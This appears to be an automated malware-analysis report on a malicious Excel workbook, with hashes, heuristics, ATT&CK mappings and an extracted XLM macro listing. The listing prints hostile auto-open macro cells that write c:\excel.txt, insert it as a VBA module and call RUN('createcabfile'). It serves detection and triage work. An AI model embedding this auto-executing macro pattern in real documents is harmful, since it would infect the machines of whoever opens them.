Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0a88d46c9dcf8d8…

MALICIOUS

Office (OLE)

282.5 KB Created: 2010-11-04 11:00:17 Authoring application: Microsoft Excel First seen: 2015-09-21
MD5: 1a4dad211ec1b461e79d9bd17f157e70 SHA-1: 6c408209c8e3056a989f918236d330fbdc26452a SHA-256: e0a88d46c9dcf8d871e563b0bf89b2fbec201d8e81570726fee3b1f8585c1bb7
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled document containing an Auto_Open entry. This entry is configured to execute dangerous formula APIs, including the RUN function, which is commonly used to launch external executables or scripts. The presence of the SC_STR_WSCRIPT heuristic further suggests the execution of script-based payloads.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 15650 bytes
SHA-256: 53f89c74ea3e36965029b6329a6ae67bddd072a25b2474ff63b2c2acf5989e4e
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  (m1)_(m2)_(m3
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  sheet
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden -  Module
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  闄
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - Counter len=7 ptgRef3d  (m1)_(m2)_(m3!C82 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  (m1)_(m2)_(m3,A1,"FOPEN("c:\excel.txt",3)",""
'  (m1)_(m2)_(m3,A2,"FOR.CELL("Counter",R~0C~2,TRUE)",""
'  (m1)_(m2)_(m3,A3,A1,""
'  (m1)_(m2)_(m3,A4,NEXT(),""
'  (m1)_(m2)_(m3,A5,FCLOSE(A1),""
'  (m1)_(m2)_(m3,A6,VBA.INSERT.FILE("c:\excel.txt"),""
'  (m1)_(m2)_(m3,A7,"RUN("createcabfile",FALSE)",""
'  (m1)_(m2)_(m3,A8,RETURN(),""
'  闄,A4,"",1.00000000000000000000
'  闄,F4,"",169200.00000000000000000000
'  闄,A5,"",2.00000000000000000000
'  闄,F6,"",169200.00000000000000000000
'  闄,F9,"",169200.00000000000000000000
'  闄,F10,"",16920.00000000000000000000
'  闄,F13,"",152280.00000000000000000000

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